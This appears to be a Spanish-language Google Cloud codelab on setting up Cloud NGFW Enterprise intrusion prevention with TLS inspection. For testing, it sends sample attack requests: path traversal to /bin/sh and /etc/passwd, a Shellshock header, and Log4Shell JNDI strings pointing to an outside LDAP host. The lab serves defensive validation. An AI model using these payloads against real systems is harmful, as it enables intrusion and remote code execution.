Codelab de Cloud NGFW Enterprise [con inspección de TLS]

1. Introducción

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall es un servicio de firewall completamente distribuido con capacidades de protección avanzada, microsegmentación y cobertura generalizada para proteger tus cargas de trabajo de Google Cloud de los ataques internos y externos.

La NGFW de Cloud tiene los siguientes beneficios:

  • Servicio de firewall distribuido: Cloud NGFW proporciona una aplicación con estado basada en el host completamente distribuida en cada carga de trabajo para habilitar una arquitectura de seguridad de confianza cero.
  • Implementación y configuración simplificadas: Cloud NGFW implementa políticas de firewall jerárquicas y de red que se pueden adjuntar a un nodo de jerarquía de recursos. Estas políticas proporcionan una experiencia de firewall coherente en toda la jerarquía de recursos de Google Cloud.
  • Control detallado y microsegmentación: La combinación de políticas de firewall y etiquetas administradas por Identity and Access Management (IAM) proporciona un control detallado para el tráfico norte-sur y este-oeste, hasta una sola VM, en redes y organizaciones de nube privada virtual (VPC).

Cloud NGFW está disponible en los siguientes niveles:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise agrega el servicio de prevención de intrusiones (IPS), una capacidad de capa 7, a la estructura distribuida de Google Cloud Firewall. Se admite la inspección de TLS para permitir la inspección del tráfico encriptado con TLS.

Ahora puedes implementar inspecciones confiables de firewall de próxima generación (NGFW) de capa 7 con controles detallados, sin realizar ningún cambio en la arquitectura de tu red ni en las configuraciones de enrutamiento.

Para activar y, luego, implementar el control de firewall de capa 7 con IPS, debes realizar las siguientes tareas:

  • Crea un conjunto de extremos de firewall zonales administrados por Google Cloud.
  • Opcionalmente, crea una política de inspección de TLS.
  • De manera opcional, crea una configuración de confianza.
  • Asocia estos extremos a las redes de nube privada virtual (VPC) en las que necesitas el servicio de Cloud NGFW Enterprise.
  • Realiza cambios simples en tus políticas y reglas de firewall existentes para especificar los perfiles de prevención de amenazas para las distintas rutas de tráfico.

Políticas de firewall de red

La política de firewall de red actúa como un contenedor para las reglas de firewall. Las reglas definidas en una política de firewall de red no se aplican en ningún lugar hasta que la política se asocia con una red de VPC. Cada red de VPC puede tener una política de firewall de red asociada. Las políticas de firewall de red admiten etiquetas controladas por IAM (o solo etiquetas) en las reglas de firewall, que reemplazan las etiquetas de red actuales y se pueden usar para proporcionar identidad a la carga de trabajo.

Compartir una política de firewall de red en varias redes y la integración con etiquetas controladas por IAM simplifica en gran medida la configuración y administración de firewalls.

Con la introducción de la política de firewall de red, las políticas de firewall de Google Cloud ahora constan de los siguientes componentes:

  1. Política de firewall jerárquica
  2. Reglas de firewall de VPC
  3. Política de firewall de red ( global y regional)

Las políticas de firewall jerárquicas se admiten en los nodos de organización y carpeta dentro de la jerarquía de recursos, mientras que las reglas de firewall de VPC y las políticas de firewall de red se aplican a nivel de la VPC. Una gran diferencia entre las reglas de firewall de VPC y las políticas de firewall de red es que las primeras solo se pueden aplicar a una sola red de VPC, mientras que las políticas se pueden adjuntar a una sola VPC o a un grupo de VPC, entre otros beneficios como las actualizaciones por lotes.

Por último, también tenemos las reglas de firewall implícitas que se incluyen con cada red de VPC:

  • Una regla de salida cuya acción es permitir y el destino es 0.0.0.0/0
  • Una regla de entrada cuya acción es deny y el origen es 0.0.0.0/0

De forma predeterminada, la secuencia de aplicación se muestra en el siguiente diagrama:

21b3bcabc469ffe.png

Ten en cuenta que se puede intercambiar el orden de aplicación entre las reglas de firewall de VPC y la política de firewall de red global. Los clientes pueden especificar el orden de aplicación en cualquier momento con un comando de gcloud.

Etiquetas

Las nuevas etiquetas integradas en las reglas de políticas de firewall de red son recursos de pares clave-valor definidos a nivel de la organización o del proyecto de la jerarquía de recursos de Google Cloud. Una etiqueta de este tipo contiene controles de acceso de IAM que especifican quién puede hacer qué en la etiqueta. Por ejemplo, los permisos de Identity and Access Management (IAM) permiten especificar qué principales pueden asignar valores a las etiquetas y cuáles pueden adjuntar etiquetas a los recursos. Si una regla de firewall de red hace referencia a una etiqueta, se debe aplicar a un recurso para su aplicación.

Las etiquetas de política se adhieren al modelo de recursos de herencia de Google Cloud, lo que significa que las etiquetas y sus valores se transmiten a través de la jerarquía desde sus elementos superiores. Como resultado, las etiquetas pueden crearse en un lugar y usarse en otras carpetas y proyectos en toda la jerarquía de recursos. Visita esta página para obtener detalles sobre las etiquetas y la restricción de acceso.

Las etiquetas no deben confundirse con las etiquetas de red. Estas últimas son cadenas que se pueden agregar a las instancias de Compute Engine, están asociadas a la instancia y desaparecen cuando se retira la instancia. Las reglas de firewall de VPC pueden incluir etiquetas de red, pero como no se consideran recursos de la nube, no están sujetas al control de acceso de IAM.

Ten en cuenta que las etiquetas y las etiquetas controladas por IAM se usan indistintamente en este documento.

Qué compilarás

En este codelab, se requiere un solo proyecto y la capacidad de crear una red de VPC, así como de administrar una cantidad de recursos de red y seguridad. Se demostrará cómo Cloud NGFW Enterprise puede proporcionar funcionalidad de IPS de las siguientes maneras:

  • Inspección de flujos de Internet de salida con la inspección de TLS
  • Inspección de flujos dentro de la VPC [este-oeste] con inspección de TLS

Los flujos que se inspeccionarán se seleccionarán con los parámetros de coincidencia del Firewall de Cloud, incluida la tupla de 5 elementos (IP de origen, IP de destino, protocolo, puerto de origen, puerto de destino) y las etiquetas.

3d0f288d3b92a295.png

El estado final de la base de reglas de la política de firewall de red será similar al de la siguiente tabla:

Prioridad

Dirección

Destino

Origen

Destino

Acción

Tipo

100

Entrada

Server_Tag

Health-Checks

Cualquiera

Permitir

Imprescindibles

200

Entrada

Client_Tag, Server_Tag

IAP

Cualquiera

Permitir

Imprescindibles

800

Entrada

Server_Tag

10.0.0.0/24

10.0.0.0/24

Inspección de L7

Enterprise

850

Salida

Client_Tag

Cualquiera

10.0.0.0/24

Permitir

Imprescindibles

900

Salida

Client_Tag

Cualquiera

Cualquiera

Inspección de L7

Enterprise

Qué aprenderás

  • Cómo crear una política de firewall de red
  • Cómo crear y usar etiquetas con la política de firewall de red
  • Cómo configurar y usar Cloud NGFW Enterprise con inspección de TLS

Requisitos

  • Proyecto de Google Cloud.
  • Conocimiento sobre la implementación de instancias y la configuración de componentes de redes
  • Conocimiento de la configuración del firewall de VPC

2. Antes de comenzar

Crear o actualizar variables

En este codelab, se usan variables para ayudar a implementar la configuración de gcloud en Cloud Shell.

En Cloud Shell, ejecuta los siguientes comandos y reemplaza la información entre corchetes según sea necesario:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Habilita las APIs

Habilita las APIs si aún no lo hiciste:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Creación de extremos de Cloud NGFW Enterprise

Dado que la creación del extremo de Cloud NGFW Enterprise tarda unos 20 minutos, se creará primero y la configuración básica se puede realizar en paralelo mientras se crea el extremo.

Crea el perfil de seguridad y el grupo de perfiles de seguridad:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Resultado esperado:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Confirma que los recursos se hayan creado correctamente:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Crea el extremo de Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Ejecuta el siguiente comando para confirmar que se está creando el extremo (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

De manera opcional, ejecuta el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Resultado esperado:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

El proceso de creación tarda alrededor de 20 minutos. Continúa con la sección Configuración básica para crear los recursos necesarios en paralelo.

5. Configuración básica

Red de VPC y subred

Red de VPC y subred

Crea la red y la subred de VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crea el Cloud Router y la puerta de enlace de Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instancias

Crea las instancias del cliente y del servidor web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Etiquetas a nivel del proyecto

Asigna el permiso tagAdmin al usuario si es necesario:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Crea la clave y los valores de la etiqueta a nivel del proyecto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Vincula las etiquetas a las instancias:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Política de firewall de red global

Crea una política de firewall de red global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Crea las reglas esenciales de Cloud Firewall necesarias para permitir el tráfico de los rangos de verificación de estado y proxy con reconocimiento de identidad:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Crea las reglas de Cloud Firewall necesarias para permitir el tráfico de entrada este-oeste o dentro de la subred desde los rangos específicos (estas reglas se actualizarán para habilitar Cloud NGFW Enterprise con inspección de TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Asocia la política de firewall de Cloud a la red de VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Asociación del extremo de firewall de Cloud

Define las variables de entorno en caso de que aún no lo hayas hecho o prefieras el enfoque de la secuencia de comandos.

Confirma que la creación del extremo de Cloud Firewall se haya completado correctamente. Solo continúa cuando el estado se muestre como ACTIVE (durante la creación, el estado esperado es CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

De manera opcional, ejecuta el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Resultado esperado:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Asocia el extremo de Cloud Firewall a la red de VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

El proceso de asociación tarda unos 10 minutos. Solo continúa con la sección de TLS una vez que el estado se muestre como ACTIVE (durante la creación, el estado esperado es CREATING):

gcloud network-security firewall-endpoint-associations list

Resultado esperado cuando se complete:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

De manera opcional, ejecuta el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Resultado esperado:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Configura recursos de TLS

Crea un grupo de CA. Este recurso se usará para alojar el certificado de la CA raíz que generamos para NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Crea la CA raíz. Este es el certificado de CA que se usará para firmar certificados adicionales para solicitudes a través de NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Si ves el siguiente mensaje, responde y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Crea una cuenta de servicio. Esta cuenta de servicio se usará para solicitar certificados para el NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Configura los permisos de IAM para la cuenta de servicio:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Crea el archivo YAML de la política de TLS. Este archivo contendrá información sobre los recursos específicos:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importa la política de inspección de TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Actualiza la asociación de extremos para habilitar TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Obtén el certificado de CA y agrégalo al almacén de CA del cliente:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transfiere el certificado de CA al cliente:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Establece una conexión SSH con la VM, mueve el certificado de CA a /usr/local/share/ca-certificates y actualiza el almacén de CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Sal y vuelve a Cloud Shell.

Proceso de firma del certificado del servidor:

En Cloud Shell, instala la biblioteca de criptografía de Pyca con el comando pip:

pip install --user "cryptography>=2.2.0"

Para permitir que el SDK de Google Cloud use la biblioteca de criptografía de Pyca, debes habilitar los paquetes del sitio.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Crea el certificado del servidor:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

Esto generará un archivo cert.pem y key.pem en Cloud Shell. A continuación, transfiere el certificado y la clave al servidor.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Accede al servidor a través de SSH para actualizar los detalles del certificado de Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Mueve el certificado y la clave a una carpeta específica:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Actualiza la configuración de SSL para usar el certificado firmado:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Reinicia Apache:

sudo systemctl restart apache2

Verifica el estado de Apache:

sudo systemctl status apache2

Debe estar activo (en ejecución).

Sal de la VM y continúa en Cloud Shell.

8. Valida la conectividad de Norte a Sur y de Este a Oeste

Ejecuta los siguientes comandos en Cloud Shell y anota las IPs de destino que se usarán:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Abre una pestaña nueva y, luego, inicia una conexión SSH a la VM del cliente a través del IAP (deberás definir las variables en la pestaña nueva):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Ejecuta los siguientes comandos y anota las IPs de destino que se usarán. Crea las variables reemplazando los valores entre corchetes por las IPs anotadas en el paso anterior y asegúrate de que sean accesibles:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Haz una solicitud curl a la IP privada y asegúrate de que sea accesible:

curl https://$target_privateip --max-time 2

Resultados esperados para la solicitud cURL:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Envía ataques de muestra a la IP. El servidor web debe responder a todas las solicitudes y confirmar que no hay inspección ni prevención de L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Ejemplo de resultados esperados (IP privada):

400
404
400
200
200

De manera similar, envía solicitudes a un destino de Internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Ejemplo de resultados esperados (destino de Internet):

400
404
400
403
403

Sal de la terminal de la VM y vuelve a Cloud Shell.

9. Crea y actualiza reglas de firewall para la inspección de TLS

Anteriormente, configuramos una regla de firewall para permitir el tráfico de entrada a nuestro servidor desde la subred interna. Ahora actualizaremos las reglas de entrada existentes y estableceremos la acción en apply_security_profile_group. Esto habilitará la inspección de L7 de E/W con TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Crea una regla nueva para inspeccionar la inspección de L7 de norte a sur con TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Crea una regla nueva para permitir la SALIDA para E/W y evitar la doble inspección.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Validación de la inspección de TLS de Northbound

Vuelve a la pestaña de la VM de cliente o vuelve a conectarte:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envía los ataques de muestra a un destino de Internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

No se reciben respuestas según el resultado esperado que se muestra a continuación, lo que confirma que ahora se bloquean los ataques de muestra:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Establece la variable en la IP del servidor anterior:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Envía solicitudes de TLS de muestra al servidor:

curl https://$target_privateip --max-time 2

Resultado esperado:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

¿Por qué falló esta solicitud? Esto se debe a que el firewall recibe un certificado del servidor en el que no hay confianza. Si esto ocurre, se pasará un certificado autofirmado al cliente. Debemos agregar el certificado de la CA como parte de una configuración de confianza para habilitar la confianza.

Regresa a Cloud Shell.

11. Configurar la configuración de confianza

Obtén el certificado de CA raíz y configúralo como una variable con el formato adecuado.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configura el archivo YAML de Trust Config. Este archivo contiene detalles de confianza, como certificados de CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Los comandos anteriores incluyeron tu certificado de CA raíz como parte del almacén de confianza, ya que tu certificado de servidor se firmó con la CA raíz. Esto significa que el firewall confiará en cualquier certificado que reciba y que haya sido firmado por tu CA raíz, además de las CA públicas si tu política de TLS tiene excludePublicCaSet establecida como falsa.

Verifica el contenido de la configuración de confianza.

cat trust_config.yaml

Resultado de muestra:

Presta mucha atención a la alineación de la sangría del certificado. Debe seguir este formato exactamente.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importa la configuración de confianza:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Actualiza el archivo YAML de la política de TLS para incluir la configuración de confianza:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importa la política de TLS actualizada:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

